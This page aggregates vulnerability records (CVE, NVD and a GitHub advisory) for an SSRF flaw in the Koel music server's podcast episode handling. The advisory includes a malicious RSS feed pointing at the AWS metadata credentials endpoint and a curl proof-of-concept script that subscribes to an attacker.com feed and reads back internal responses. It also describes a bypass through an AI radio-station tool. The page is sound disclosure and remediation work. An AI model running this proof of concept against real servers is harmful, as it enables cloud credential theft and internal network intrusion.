Vulnerability-Lookup

CVE-2026-47260 (GCVE-0-2026-47260)

Vulnerability from cvelistv5 – Published: 2026-06-12 18:50 – Updated: 2026-06-13 03:28

Title

Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs

Summary

Koel is a free, open-source music streaming solution. Prior to version 9.3.5, Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode <enclosure url="..."> values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()->get() and streams it back to the user, enabling full-read SSRF against internal services. This issue has been patched in version 9.3.5.

Severity

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/koel/koel/security/advisories/…	x_refsource_CONFIRM
https://github.com/koel/koel/commit/8708f077efd7d…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
koel	koel	Affected: < 9.3.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-47260",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-13T03:28:00.636910Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-13T03:28:32.095Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "koel",
          "vendor": "koel",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 9.3.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Koel is a free, open-source music streaming solution. Prior to version 9.3.5, Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode \u003cenclosure url=\"...\"\u003e values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()-\u003eget() and streams it back to the user, enabling full-read SSRF against internal services. This issue has been patched in version 9.3.5."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-12T18:50:42.766Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc"
        },
        {
          "name": "https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a"
        }
      ],
      "source": {
        "advisory": "GHSA-7j2f-6h2r-6cqc",
        "discovery": "UNKNOWN"
      },
      "title": "Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-47260",
    "datePublished": "2026-06-12T18:50:42.766Z",
    "dateReserved": "2026-05-18T23:03:37.229Z",
    "dateUpdated": "2026-06-13T03:28:32.095Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-47260",
      "date": "2026-06-16",
      "epss": "0.00354",
      "percentile": "0.27062"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-47260\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-06-12T20:16:46.320\",\"lastModified\":\"2026-06-15T21:08:33.820\",\"vulnStatus\":\"Deferred\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Koel is a free, open-source music streaming solution. Prior to version 9.3.5, Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode \u003cenclosure url=\\\"...\\\"\u003e values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()-\u003eget() and streams it back to the user, enabling full-read SSRF against internal services. This issue has been patched in version 9.3.5.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\",\"baseScore\":7.7,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.1,\"impactScore\":4.0}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-918\"}]}],\"references\":[{\"url\":\"https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-47260\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-06-13T03:28:00.636910Z\"}}}], \"references\": [{\"url\": \"https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-06-13T03:28:26.230Z\"}}], \"cna\": {\"title\": \"Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs\", \"source\": {\"advisory\": \"GHSA-7j2f-6h2r-6cqc\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 7.7, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"koel\", \"product\": \"koel\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 9.3.5\"}]}], \"references\": [{\"url\": \"https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc\", \"name\": \"https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a\", \"name\": \"https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Koel is a free, open-source music streaming solution. Prior to version 9.3.5, Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode \u003cenclosure url=\\\"...\\\"\u003e values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()-\u003eget() and streams it back to the user, enabling full-read SSRF against internal services. This issue has been patched in version 9.3.5.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-918\", \"description\": \"CWE-918: Server-Side Request Forgery (SSRF)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-06-12T18:50:42.766Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-47260\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-06-13T03:28:32.095Z\", \"dateReserved\": \"2026-05-18T23:03:37.229Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-06-12T18:50:42.766Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-47260

Vulnerability from fkie_nvd - Published: 2026-06-12 20:16 - Updated: 2026-06-15 21:08

Severity

7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a
	security-advisories@github.com	https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Koel is a free, open-source music streaming solution. Prior to version 9.3.5, Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode \u003cenclosure url=\"...\"\u003e values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()-\u003eget() and streams it back to the user, enabling full-read SSRF against internal services. This issue has been patched in version 9.3.5."
    }
  ],
  "id": "CVE-2026-47260",
  "lastModified": "2026-06-15T21:08:33.820",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-06-12T20:16:46.320",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-7J2F-6H2R-6CQC

Vulnerability from github – Published: 2026-05-29 19:56 – Updated: 2026-06-12 22:01

Summary

Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs

Details

Summary

Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode <enclosure url="..."> values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()->get() and streams it back to the user, enabling full-read SSRF against internal services.

Vulnerability Details

Episode URL Stored Without Validation

File: app/Services/Podcast/PodcastService.php, line 146

'path' => $episodeValue->enclosure->url,  // Unvalidated URL from RSS XML

The SafeUrl rule is applied to the podcast feed URL at subscription time (SubscribeToPodcastRequest), but episode enclosure URLs parsed from the feed XML are stored as-is.

SSRF Trigger: Full Content Download

File: app/Values/Podcast/EpisodePlayable.php, line 42

Http::sink($file)->get($episode->path)->throw();

When an episode is played, PodcastStreamerAdapter::stream() first attempts getStreamableUrl() (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to EpisodePlayable::createForEpisode(), which downloads the full response body and streams it back to the user.

SafeUrl Applied Only to Feed URL

File: app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php

public function rules(): array
{
    return ['url' => ['required', 'url:http,https', new SafeUrl]];
}

The SafeUrl rule (app/Rules/SafeUrl.php) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL — not the content within the feed.

Attack Flow

Attacker registers an account (Community edition, no Plus required)
Attacker hosts a malicious RSS feed on a public server: xml <rss version="2.0"> <channel> <title>Legit Podcast</title> <item> <title>Episode 1</title> <enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/" type="audio/mpeg" length="1000"/> <guid>ssrf-1</guid> </item> </channel> </rss>
POST /api/podcasts with url=https://evil.com/feed.xml — passes SafeUrl (public URL)
Koel parses feed, stores episode with path = http://169.254.169.254/...
Attacker plays episode: GET /play/{episode_id}
Server executes Http::sink($file)->get("http://169.254.169.254/...")
AWS metadata response downloaded to disk, streamed back to attacker

Proof of Concept

#!/bin/bash
# PoC: Koel SSRF via Podcast Episode Enclosure URL
# Step 1: Host malicious RSS feed (feed.xml) on attacker server
# Step 2: Subscribe to the podcast

KOEL_URL="https://TARGET"
API_TOKEN="<api_token>"

# Subscribe to malicious podcast
curl -X POST "$KOEL_URL/api/podcasts" \
  -H "Authorization: Bearer $API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://attacker.com/feed.xml"}'

# List episodes to get the episode ID
EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \
  -H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id')

# Play the episode — triggers SSRF, returns internal service response
curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin

cat response.bin
# Expected: AWS metadata / internal service response

Impact

Cloud credential theft: Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)
Internal network reconnaissance: Scan ports and enumerate internal HTTP services
Data exfiltration: Read responses from internal APIs, admin panels, databases with HTTP interfaces
Full response body: Unlike blind SSRF, the entire response is returned to the attacker

Secondary Finding: SSRF Bypass via AI Radio Station Tool

File: app/Ai/Tools/AddRadioStation.php, lines 35-38

The AI assistant's AddRadioStation tool creates radio stations by calling RadioService::createRadioStation() directly, bypassing the SafeUrl and HasAudioContentType validation rules that protect the REST API endpoint.

Impact: Same SSRF but requires Plus license. CVSS 7.7 HIGH.

Novelty Check

No existing CVEs found for Koel (searched NVD, GitHub Advisories, web)
No SECURITY.md in the repository
This is a novel vulnerability

Remediation

Fix 1: Validate episode enclosure URLs in synchronizeEpisodes():

foreach ($episodeCollection as $episodeValue) {
    $enclosureUrl = $episodeValue->enclosure->url;
    $host = parse_url($enclosureUrl, PHP_URL_HOST);
    if (!$host || !Network::isPublicHost($host)) {
        continue; // Skip episodes with non-public URLs
    }
    // ... rest of episode creation
}

Fix 2: Defense-in-depth validation at playback time in EpisodePlayable::createForEpisode().

Fix 3: Add SafeUrl validation in AddRadioStation AI tool.

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.3.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phanan/koel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T19:56:06Z",
    "nvd_published_at": "2026-06-12T20:16:46Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nKoel validates the podcast feed URL via the `SafeUrl` rule (DNS resolution + public IP check), but the individual episode `\u003cenclosure url=\"...\"\u003e` values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via `Http::sink()-\u003eget()` and streams it back to the user, enabling full-read SSRF against internal services.\n\n---\n\n## Vulnerability Details\n\n### Episode URL Stored Without Validation\n\n**File:** `app/Services/Podcast/PodcastService.php`, line 146\n\n```php\n\u0027path\u0027 =\u003e $episodeValue-\u003eenclosure-\u003eurl,  // Unvalidated URL from RSS XML\n```\n\nThe `SafeUrl` rule is applied to the podcast feed URL at subscription time (`SubscribeToPodcastRequest`), but episode enclosure URLs parsed from the feed XML are stored as-is.\n\n### SSRF Trigger: Full Content Download\n\n**File:** `app/Values/Podcast/EpisodePlayable.php`, line 42\n\n```php\nHttp::sink($file)-\u003eget($episode-\u003epath)-\u003ethrow();\n```\n\nWhen an episode is played, `PodcastStreamerAdapter::stream()` first attempts `getStreamableUrl()` (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won\u0027t have), it falls through to `EpisodePlayable::createForEpisode()`, which downloads the full response body and streams it back to the user.\n\n### SafeUrl Applied Only to Feed URL\n\n**File:** `app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php`\n\n```php\npublic function rules(): array\n{\n    return [\u0027url\u0027 =\u003e [\u0027required\u0027, \u0027url:http,https\u0027, new SafeUrl]];\n}\n```\n\nThe `SafeUrl` rule (`app/Rules/SafeUrl.php`) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL \u2014 not the content within the feed.\n\n---\n\n## Attack Flow\n\n1. Attacker registers an account (Community edition, no Plus required)\n2. Attacker hosts a malicious RSS feed on a public server:\n   ```xml\n   \u003crss version=\"2.0\"\u003e\n     \u003cchannel\u003e\n       \u003ctitle\u003eLegit Podcast\u003c/title\u003e\n       \u003citem\u003e\n         \u003ctitle\u003eEpisode 1\u003c/title\u003e\n         \u003cenclosure url=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n                    type=\"audio/mpeg\" length=\"1000\"/\u003e\n         \u003cguid\u003essrf-1\u003c/guid\u003e\n       \u003c/item\u003e\n     \u003c/channel\u003e\n   \u003c/rss\u003e\n   ```\n3. `POST /api/podcasts` with `url=https://evil.com/feed.xml` \u2014 passes `SafeUrl` (public URL)\n4. Koel parses feed, stores episode with `path = http://169.254.169.254/...`\n5. Attacker plays episode: `GET /play/{episode_id}`\n6. Server executes `Http::sink($file)-\u003eget(\"http://169.254.169.254/...\")`\n7. AWS metadata response downloaded to disk, streamed back to attacker\n\n---\n\n## Proof of Concept\n\n```bash\n#!/bin/bash\n# PoC: Koel SSRF via Podcast Episode Enclosure URL\n# Step 1: Host malicious RSS feed (feed.xml) on attacker server\n# Step 2: Subscribe to the podcast\n\nKOEL_URL=\"https://TARGET\"\nAPI_TOKEN=\"\u003capi_token\u003e\"\n\n# Subscribe to malicious podcast\ncurl -X POST \"$KOEL_URL/api/podcasts\" \\\n  -H \"Authorization: Bearer $API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"https://attacker.com/feed.xml\"}\u0027\n\n# List episodes to get the episode ID\nEPISODE_ID=$(curl -s \"$KOEL_URL/api/podcasts\" \\\n  -H \"Authorization: Bearer $API_TOKEN\" | jq -r \u0027.[0].episodes[0].id\u0027)\n\n# Play the episode \u2014 triggers SSRF, returns internal service response\ncurl \"$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN\" -o response.bin\n\ncat response.bin\n# Expected: AWS metadata / internal service response\n```\n\n---\n\n## Impact\n\n- **Cloud credential theft:** Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)\n- **Internal network reconnaissance:** Scan ports and enumerate internal HTTP services\n- **Data exfiltration:** Read responses from internal APIs, admin panels, databases with HTTP interfaces\n- **Full response body:** Unlike blind SSRF, the entire response is returned to the attacker\n\n---\n\n## Secondary Finding: SSRF Bypass via AI Radio Station Tool\n\n**File:** `app/Ai/Tools/AddRadioStation.php`, lines 35-38\n\nThe AI assistant\u0027s `AddRadioStation` tool creates radio stations by calling `RadioService::createRadioStation()` directly, bypassing the `SafeUrl` and `HasAudioContentType` validation rules that protect the REST API endpoint.\n\n**Impact:** Same SSRF but requires Plus license. CVSS 7.7 HIGH.\n\n---\n\n## Novelty Check\n\n- **No existing CVEs found for Koel** (searched NVD, GitHub Advisories, web)\n- **No SECURITY.md** in the repository\n- **This is a novel vulnerability**\n\n---\n\n## Remediation\n\n**Fix 1:** Validate episode enclosure URLs in `synchronizeEpisodes()`:\n\n```php\nforeach ($episodeCollection as $episodeValue) {\n    $enclosureUrl = $episodeValue-\u003eenclosure-\u003eurl;\n    $host = parse_url($enclosureUrl, PHP_URL_HOST);\n    if (!$host || !Network::isPublicHost($host)) {\n        continue; // Skip episodes with non-public URLs\n    }\n    // ... rest of episode creation\n}\n```\n\n**Fix 2:** Defense-in-depth validation at playback time in `EpisodePlayable::createForEpisode()`.\n\n**Fix 3:** Add `SafeUrl` validation in `AddRadioStation` AI tool.",
  "id": "GHSA-7j2f-6h2r-6cqc",
  "modified": "2026-06-12T22:01:12Z",
  "published": "2026-05-29T19:56:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47260"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/commit/be1e867982dcadefd4a75d768ce950b1d5234cdf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koel/koel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-47260 (GCVE-0-2026-47260)

FKIE_CVE-2026-47260

GHSA-7J2F-6H2R-6CQC

Summary

Vulnerability Details

Episode URL Stored Without Validation

SSRF Trigger: Full Content Download

SafeUrl Applied Only to Feed URL

Attack Flow

Proof of Concept

Impact

Secondary Finding: SSRF Bypass via AI Radio Station Tool

Novelty Check

Remediation

Tags

Sightings

Nomenclature